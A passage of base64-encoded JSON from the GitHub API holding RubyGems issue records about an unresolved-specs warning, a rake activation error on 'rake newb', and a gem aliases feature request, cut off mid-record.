iZXIiOjE3NTYsInRpdGxlIjoiV0FSTjogVW5yZXNvbHZlZCBzcGVjcyBkdXJpbmcgR2VtOjpTcGVjaWZpY2F0aW9uLnJlc2V0IiwidXNlciI6eyJsb2dpbiI6InJvYmVydHMxMDAwIiwiaWQiOjIwNTM5MDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwNTM5MDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JvYmVydHMxMDAwIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcm9iZXJ0czEwMDAiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yb2JlcnRzMTAwMC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yb2JlcnRzMTAwMC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yb2JlcnRzMTAwMC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcm9iZXJ0czEwMDAvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yb2JlcnRzMTAwMC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JvYmVydHMxMDAwL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JvYmVydHMxMDAwL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcm9iZXJ0czEwMDAvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JvYmVydHMxMDAwL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMSwiY3JlYXRlZF9hdCI6IjIwMTYtMTAtMjBUMjI6NDQ6NDRaIiwidXBkYXRlZF9hdCI6IjIwMTctMDUtMjRUMjA6NDk6MjhaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6Ik90aGVycyBoYXZlIGFscmVhZHkgbWVudGlvbmVkIHRoaXMsIGJ1dCBJJ20gc3RpbGwgcnVubmluZyBpbnRvIHRoZSBgV0FSTjogVW5yZXNvbHZlZCBzcGVjcyBkdXJpbmcgR2VtOjpTcGVjaWZpY2F0aW9uLnJlc2V0YCBhbmQgaGF2ZW4ndCBmb3VuZCBhIHJlc29sdXRpb24uICBJJ20gZGV2ZWxvcGluZyBhIGdlbSB3aGljaCBoYXMgYSBleGVjdXRhYmxlIGRlZmluZWQgYXQgYGV4ZS9mb29gLiAgKFRoZSBnZW0gcHJvamVjdCB3YXMgaW5pdGlhbGx5IGNyZWF0ZWQgYnkgcnVubmluZyBgYnVuZGxlIG15X2dlbWAuKVxuXG5JZiBJIGBjZGAgb3V0IG9mIHRoZSBnZW0gZGlyZWN0b3J5LCB0aGVuIHJ1biBgbXlfZ2VtL2V4ZS9mb29gLCB0aGUgY29tbWFuZCB3b3JrcyBncmVhdC4gIFRoZXJlIGFyZSBubyB3YXJuaW5ncy4gIFxuXG5JZiBJIGBjZGAgYmFjayBpbnRvIHRoZSBkaXJlY3RvcnkgYW5kIGluc3RhbGwgdGhlIGdlbSBieSBkb2luZ1xuXG5gYGBcbnJha2UgYnVpbGRcbmdlbSBpbnN0YWxsIHBrZy9teV9nZW0uLi4uXG5gYGBcblxud2hlbiBJIGV4ZWN1dGUgYGZvb2AsIEkgZ2V0XG5cbmBgYFxuV0FSTjogVW5yZXNvbHZlZCBzcGVjcyBkdXJpbmcgR2VtOjpTcGVjaWZpY2F0aW9uLnJlc2V0OlxuICAgICAgbWluaXRlc3QgKH4+IDUuMSlcbiAgICAgIG1pbWUtdHlwZXMgKDwgNCwgPj0gMS4xNilcbiAgICAgIHJha2UgKD49IDAuOC43KVxuYGBgXG5cbk9uIG15IHN5c3RlbSwgSSBoYXZlIHRoZSBmb2xsb3dpbmcgZ2VtIHZlcnNpb25zIGluc3RhbGxlZFxuXG5gYGBcbm1pbml0ZXN0ICg1LjkuMSwgNS44LjMsIDQuNy41KVxubWltZS10eXBlcyAoMy4xLCAxLjI1LjEpXG5yYWtlICgxMS4zLjAsIDEwLjUuMCwgMTAuNC4yKVxuYGBgXG5cbkFsbCB0aGUgcmVjb21tZW5kYXRpb25zIGZvciBkZWFsaW5nIHdpdGggdGhpcyBpc3N1ZSBzdWdnZXN0IHJlbW92aW5nIHRoZSBvbGQgZ2VtIHZlcnNpb25zLiAgKipUaGlzIGRvZXNuJ3Qgc29sdmUgdGhlIHJlYWwgaXNzdWUgLSB3aHkgaXMgUnVieUdlbXMgKG9yIG1heWJlIGJ1bmRsZXIpIGhhdmluZyBwcm9ibGVtcyBpZGVudGlmeWluZyB0aGUgY29ycmVjdCBkZXBlbmRlbnQgZ2VtPyoqXG5cbkkndmUgcG9rZWQgYXJvdW5kIHRyeWluZyB0byBmaWd1cmUgb3V0IHdoYXQgaXMgY2F1c2luZyB0aGUgaXNzdWUuICBJbiB0aGUgZ2VtJ3MgLmdlbXNwZWMgZmlsZSwgSSBoYXZlIHRoZSBmb2xsb3dpbmcgbGluZVxuXG5gYGAgcnVieVxuc3BlYy5hZGRfZGV2ZWxvcG1lbnRfZGVwZW5kZW5jeSBcInJha2VcIiwgXCJ+PiAxMS4wXCJcbmBgYFxuXG5JIHRyaWVkIGNoYW5naW5nIGl0IHRvXG5cbmBgYCBydWJ5XG5zcGVjLmFkZF9kZXBlbmRlbmN5IFwicmFrZVwiLCBcIn4+IDExLjBcIlxuYGBgXG5cbldoZW4gSSByZWluc3RhbGwgdGhlIGdlbSBhbmQgcnVuIHRoZSBjb21tYW5kLCBgcmFrZWAgZHJvcHMgb2ZmIHRoZSB3YXJuaW5nIGxpc3QhXG5cbkFub3RoZXIgdGhpbmcgSSBub3RpY2VkLCB3aGVuIEkgb3BlbiB0aGUgR2VtZmlsZS5sb2NrIGluc2lkZSB0aGUgZ2VtIGFuZCBsb29rIGF0IGFsbCBvZiB0aGUgZ2VtcyB0aGF0IGdlbmVyYXRlIHdhcm5pbmdzLCB0aGVyZSdzIG5vdGhpbmcgdGhhdCBzaG91bGQgYmUgY2F1c3NpbmcgYW1iaWd1aXR5LiAgVGFrZSB0aGUgYHJha2VgIGdlbSBmb3IgZXhhbXBsZS4gIEdlbWZpbGUubG9jayBoYXNcblxuYGBgIHJ1YnlcbkdFTVxuICBzcGVjczpcbiAgICByYWlsdGllcyAoNS4wLjAuMSlcbiAgICAgIHJha2UgKD49IDAuOC43KVxuICAgIHJha2UgKDExLjMuMClcblxuREVQRU5ERU5DSUVTXG5yYWtlICh+PiAxMS4wKVxuYGBgXG5cbkZyb20gdGhhdCBsaXN0LCBpdCBzaG91bGQgYmUgY2xlYXIgdGhhdCByYWtlIDExLjMuMCBpcyB0aGUgYmVzdCBjaG9pY2UuXG5cbkkgZG9uJ3QgaGF2ZSBtdWNoIGtub3dsZWRnZSBhYm91dCBob3cgUnVieUdlbXMgYW5kIEJ1bmRsZXIgbWlnaHQgd29yayB0b2dldGhlciBmb3IgYSBzeXN0ZW0gY29tbWFuZCBsaWtlIHRoZSBvbmUgSSdtIGRldmVsb3BpbmcuICBJdCBkb2Vzbid0IHNlZW0gbGlrZSBCdW5kbGVyIHdvdWxkIGJlIGludm9sdmVkIHdoaWNoIG1lYW5zICBHZW1maWxlIGFuZCB0aGUgR2VtZmlsZS5sb2NrIHdvdWxkbid0IGJlIGEgZmFjdG9yLiAgQnV0IEkgY2FuJ3Qgc2F5IGZvciBzdXJlIGJlY2F1c2UgbWF5YmUgUnVieUdlbXMgaXMgc21hcnQgZW5vdWdoIHRvIGxvb2sgYXQgdGhlIEdlbWZpbGUgYW5kIEdlbWZpbGUubG9jayBpbiBjZXJ0YWluIHNpdHVhdGlvbnMuLi5cblxuSGVyZSdzIG15IGZ1bGwgZ2Vtc3BlYyBkZXBlbmRlbmN5IHNlY3Rpb246XG5cbmBgYCBydWJ5XG4gIHNwZWMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgXCJidW5kbGVyXCIsIFwifj4gMS4xMlwiXG4gIHNwZWMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgXCJyYWtlXCIsIFwifj4gMTEuMFwiXG4gIHNwZWMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgXCJwcnlcIiwgXCJ+PiAwLjEwLjFcIlxuICBzcGVjLmFkZF9kZXZlbG9wbWVudF9kZXBlbmRlbmN5IFwicHJ5LWJ5ZWJ1Z1wiLCBcIn4+IDMuNC4wXCJcbiAgc3BlYy5hZGRfZGV2ZWxvcG1lbnRfZGVwZW5kZW5jeSBcInJzcGVjLXJhaWxzXCIsIFwifj4gMy41LjFcIlxuICBzcGVjLmFkZF9kZXZlbG9wbWVudF9kZXBlbmRlbmN5IFwiY2FweWJhcmFcIiwgXCJ+PiAyLjcuMVwiXG4gIHNwZWMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgXCJmYWN0b3J5X2dpcmxfcmFpbHNcIiwgXCJ+PiA0LjcuMFwiXG4gIHNwZWMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgXCJwdW1hXCIsIFwifj4gMy4wXCJcbiAgc3BlYy5hZGRfZGV2ZWxvcG1lbnRfZGVwZW5kZW5jeSBcInBnXCIsIFwiMC4xOS4wXCJcbiAgc3BlYy5hZGRfZGV2ZWxvcG1lbnRfZGVwZW5kZW5jeSBcIndlYi1jb25zb2xlXCIsIFwifj4gMy4wXCJcblxuICBzcGVjLmFkZF9kZXBlbmRlbmN5IFwidGhvclwiLCBcIjAuMTkuMVwiXG4gIHNwZWMuYWRkX2RlcGVuZGVuY3kgXCJyYWlsc1wiLCBcIn4+IDUuMFwiXG4gIHNwZWMuYWRkX2RlcGVuZGVuY3kgXCJjb3JlbGliX3J1YnlcIiwgXCJ+PiAxLjJcIlxuICBzcGVjLmFkZF9kZXBlbmRlbmN5IFwiYXV0b3JlcXVpcmVfcmFpbHNcIiwgXCJ+PiAxLjBcIlxuICBzcGVjLmFkZF9kZXBlbmRlbmN5IFwiZm9udC1hd2Vzb21lLXJhaWxzXCIsIFwifj4gNC42LjMuMFwiXG4gIHNwZWMuYWRkX2RlcGVuZGVuY3kgJ2Jvb3RzdHJhcC1zYXNzJywgJzMuMy43J1xuICBzcGVjLmFkZF9kZXBlbmRlbmN5IFwic2Fzcy1yYWlsc1wiLCBcIn4+IDUuMC42XCJcbmBgYFxuXG5JJ20gc3RpbGwgbm90IGNsZWFyIHdoYXQgd2FybmluZyBtZXNzYWdlIGFjdHVhbGx5IG1lYW5zLCBidXQgaXQgc3VnZ2VzdHMgUnVieUdlbXMgaGFzIG5vIHdheSB0byBmaWd1cmUgd2hpY2ggdmVyc2lvbiBvZiB0aGUgZ2VtIHRvIGxvYWQuICBJdCBzZWVtcyBsaWtlIGl0IGhhcyBhbGwgdGhlIGluZm8gaXQgbmVlZHMuXG5cbkknbSBjdXJyZW50bHkgdXNpbmcgUnVieUdlbXMgMi42LjcgYW5kIGJ1bmRsZXIgMS4xMy41LlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzU0IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3NTQvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3NTQvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc1NC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc1NCIsImlkIjoxODQxMTkwMzMsIm51bWJlciI6MTc1NCwidGl0bGUiOiJBY3RpdmF0aW9uIGVycm9yIG9uIGByYWtlIG5ld2JgIHdpdGggY2xlYW4gY2hlY2tvdXQiLCJ1c2VyIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTUsImNyZWF0ZWRfYXQiOiIyMDE2LTEwLTIwVDAyOjE2OjM4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTA1VDIwOjA1OjQ2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIiLCJib2R5IjoiSXQncyBpbXBvc3NpYmxlIHRvIHJ1biBgcmFrZSBuZXdiYCB3aXRoIGEgY2xlYW4gY2hlY2tvdXQgb2YgbWFzdGVyIG9uIHRoZSBsYXRlc3QgUnVieSBhbmQgUnVieUdlbXMuIEhlcmUncyBhbiBleGFtcGxlOlxuXG5gYGBcbiQgcnVieSAtdlxucnVieSAyLjMuMXAxMTIgKDIwMTYtMDQtMjYgcmV2aXNpb24gNTQ3NjgpIFt4ODZfNjQtZGFyd2luMTZdXG5cbiQgZ2VtIC12XG4yLjYuN1xuXG4kIGdlbSBsaXN0IHJha2VcblxuKioqIExPQ0FMIEdFTVMgKioqXG5cbnJha2UgKDEwLjQuMilcblxuJCBnZW0gbGlzdCBob2VcblxuKioqIExPQ0FMIEdFTVMgKioqXG5cbmhvZSAoMy4xNS4yKVxuaG9lLXNlYXR0bGVyYiAoMS4zLjUpXG5cbiQgcmFrZSBuZXdiXG5naXQgc3VibW9kdWxlIHVwZGF0ZSAtLWluaXRcbnJha2UgYWJvcnRlZCFcbkdlbTo6TG9hZEVycm9yOiBjYW4ndCBhY3RpdmF0ZSByYWtlLTEwLjUuMCwgYWxyZWFkeSBhY3RpdmF0ZWQgcmFrZS0xMC40LjJcbi9Vc2Vycy9hbmRyZS5hcmtvLy5nZW0vcnVieS8yLjMuMS9nZW1zL2hvZS0zLjE1LjIvbGliL2hvZS9kZXBzLnJiOjYwOmluIGByZXNjdWUgaW4gYmxvY2sgaW4gY2hlY2tfZXh0cmFfZGVwc190YXNrJ1xuL1VzZXJzL2FuZHJlLmFya28vLmdlbS9ydWJ5LzIuMy4xL2dlbXMvaG9lLTMuMTUuMi9saWIvaG9lL2RlcHMucmI6NTQ6aW4gYGJsb2NrIGluIGNoZWNrX2V4dHJhX2RlcHNfdGFzaydcbi9Vc2Vycy9hbmRyZS5hcmtvLy5nZW0vcnVieS8yLjMuMS9nZW1zL2hvZS0zLjE1LjIvbGliL2hvZS9kZXBzLnJiOjUzOmluIGBlYWNoJ1xuL1VzZXJzL2FuZHJlLmFya28vLmdlbS9ydWJ5LzIuMy4xL2dlbXMvaG9lLTMuMTUuMi9saWIvaG9lL2RlcHMucmI6NTM6aW4gYGNoZWNrX2V4dHJhX2RlcHNfdGFzaydcbi9Vc2Vycy9hbmRyZS5hcmtvLy5nZW0vcnVieS8yLjMuMS9nZW1zL2hvZS0zLjE1LjIvbGliL2hvZS9kZXBzLnJiOjQzOmluIGBibG9jayBpbiBkZWZpbmVfZGVwc190YXNrcydcbkdlbTo6TWlzc2luZ1NwZWNWZXJzaW9uRXJyb3I6IENvdWxkIG5vdCBmaW5kICdyYWtlJyAofj4gMTAuNSkgLSBkaWQgZmluZDogW3Jha2UtMTAuNC4yXVxuQ2hlY2tlZCBpbiAnR0VNX1BBVEg9L1VzZXJzL2FuZHJlLmFya28vLmdlbS9ydWJ5LzIuMy4xOi9vcHQvcnViaWVzLzIuMy4xL2xpYi9ydWJ5L2dlbXMvMi4zLjAnLCBleGVjdXRlIGBnZW0gZW52YCBmb3IgbW9yZSBpbmZvcm1hdGlvblxuL1VzZXJzL2FuZHJlLmFya28vLmdlbS9ydWJ5LzIuMy4xL2dlbXMvaG9lLTMuMTUuMi9saWIvaG9lL2RlcHMucmI6NTU6aW4gYGJsb2NrIGluIGNoZWNrX2V4dHJhX2RlcHNfdGFzaydcbi9Vc2Vycy9hbmRyZS5hcmtvLy5nZW0vcnVieS8yLjMuMS9nZW1zL2hvZS0zLjE1LjIvbGliL2hvZS9kZXBzLnJiOjUzOmluIGBlYWNoJ1xuL1VzZXJzL2FuZHJlLmFya28vLmdlbS9ydWJ5LzIuMy4xL2dlbXMvaG9lLTMuMTUuMi9saWIvaG9lL2RlcHMucmI6NTM6aW4gYGNoZWNrX2V4dHJhX2RlcHNfdGFzaydcbi9Vc2Vycy9hbmRyZS5hcmtvLy5nZW0vcnVieS8yLjMuMS9nZW1zL2hvZS0zLjE1LjIvbGliL2hvZS9kZXBzLnJiOjQzOmluIGBibG9jayBpbiBkZWZpbmVfZGVwc190YXNrcydcblRhc2tzOiBUT1AgPT4gbmV3YiA9PiBjaGVja19leHRyYV9kZXBzXG4oU2VlIGZ1bGwgdHJhY2UgYnkgcnVubmluZyB0YXNrIHdpdGggLS10cmFjZSlcbmBgYFxuXG5JdCBpcyBwb3NzaWJsZSB0byB3b3JrIGFyb3VuZCB0aGlzIHByb2JsZW0gYnkgbWFudWFsbHkgYW5kIGV4cGxpY2l0bHkgaW5zdGFsbGluZyBgcmFrZWAgYXQgdmVyc2lvbiBgfj4gMTAuNWAuIE1heWJlIHdlIGNhbiBhdXRvbWF0ZSB0aGF0P1xuXG5gYGBcbiQgZ2VtIGluc3RhbGwgcmFrZSAtdiAnfj4gMTAuNSdcblN1Y2Nlc3NmdWxseSBpbnN0YWxsZWQgcmFrZS0xMC41LjBcbjEgZ2VtIGluc3RhbGxlZFxuXG4kIHJha2UgbmV3YlxuZ2l0IHN1Ym1vZHVsZSB1cGRhdGUgLS1pbml0XG5QYXJzaW5nIHNvdXJjZXMuLi5cbjEwMCUgWzE4My8xODNdICBsaWIvdWJ5Z2Vtcy5yYlxuXG5HZW5lcmF0aW5nIERhcmtmaXNoIGZvcm1hdCBpbnRvIC9Vc2Vycy9hbmRyZS5hcmtvL3dvcmtzcGFjZS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kb2MuLi5cblsuLi5dXG5gYGBcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc0NiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzQ2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzQ2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3NDYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3NDYiLCJpZCI6MTgyMTQ0Njc4LCJudW1iZXIiOjE3NDYsInRpdGxlIjoiRmVhdHVyZTogZ2VtIGFsaWFzZXMvcHJvdmlkZXMvcmVwbGFjZXMiLCJ1c2VyIjp7ImxvZ2luIjoiaW9xdWF0aXgiLCJpZCI6MzAwMzAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzMwMDMwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pb3F1YXRpeCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2lvcXVhdGl4IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW9xdWF0aXgvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW9xdWF0aXgvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW9xdWF0aXgvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2lvcXVhdGl4L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW9xdWF0aXgvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pb3F1YXRpeC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pb3F1YXRpeC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2lvcXVhdGl4L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pb3F1YXRpeC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6NDQzMzM0MTgwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jb250cmlidXRpb246JTIwdW5jbGFpbWVkIiwibmFtZSI6ImNvbnRyaWJ1dGlvbjogdW5jbGFpbWVkIiwiY29sb3IiOiJEREREREQiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEzLCJjcmVhdGVkX2F0IjoiMjAxNi0xMC0xMVQwMDoxNjozM1oiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMy0xMVQxNzo1NzozMloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdkIGxpa2UgdG8ga2luZGx5IHN1Z2dlc3QgYSBmZWF0dXJlIGFuZCBkaXNjdXNzIHNvbWUgaWRlYXMuXG5cbk15IGN1cnJlbnQgcHJvYmxlbSBpcyBJIGFtIHVzaW5nIHRoZSBcIm1haWxcIiBnZW0sIGFuZCBJJ2QgbGlrZSB0byByZXBsYWNlIHRoZSBcIm1pbWUtdHlwZXNcIiBnZW0gd2l0aCBhIG1vcmUgZWZmaWNpZW50LCBBUEkgY29tcGF0aWJsZSBnZW0sIHNheSwgY2FsbGVkIFwibWltZS10eXBlcy1uYXRpdmVcIi4gSSBoYXZlIHNldmVyYWwgb3RoZXIgZ2VtcyBhbG9uZyB3aXRoIFwibWFpbFwiIHdoaWNoIGFsbCBkZXBlbmQgb24gXCJtaW1lLXR5cGVzXCIgYW5kIEknZCBsaWtlIHRvIHJlcGxhY2UgXCJtaW1lLXR5cGVzXCIgcHJvamVjdCB3aWRlLCBpLmUuIGluIGFsbCBkZXBlbmRlbmNpZXMgb2YgbXkgcHJvamVjdCB0b28uXG5cbkFkZGl0aW9uYWxseSwgc29tZSB0aW1lcyB0aGlzIHByb2JsZW0gc2hvd3MgdXAgaW4gYSBtb3JlIGxpbWl0ZWQgZm9ybSB3aGVuIHBlb3BsZSBoYXZlIHB1Ymxpc2hlZCBhIGdlbSB3aXRoIGEgdmVyeSByZXN0cmljdGl2ZWx5IHZlcnNpb25lZCBkZXBlbmRlbmN5LiBGb3IgZXhhbXBsZSwgd2hlcmUgdGhleSBtaWdodCBoYXZlIG1lYW50IHRvIHNheSBcIn4+IDIuMlwiIHRoZXkgYWN0dWFsbHkgd3JvdGUgXCJ+PiAyLjIuMVwiLiBUaGlzIGlzIGFjdHVhbGx5IGEgcmVsYXRpdmVseSBjb21tb24gcHJvYmxlbSwgYW5kIEknbGwgdHJ5IHRvIGFkZCBzb21lIHJlZmVyZW5jZXMgdG8gaXNzdWVzIGJyaW5naW5nIHRoaXMgdXAuXG5cblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0byBpbnN0YWxsaW5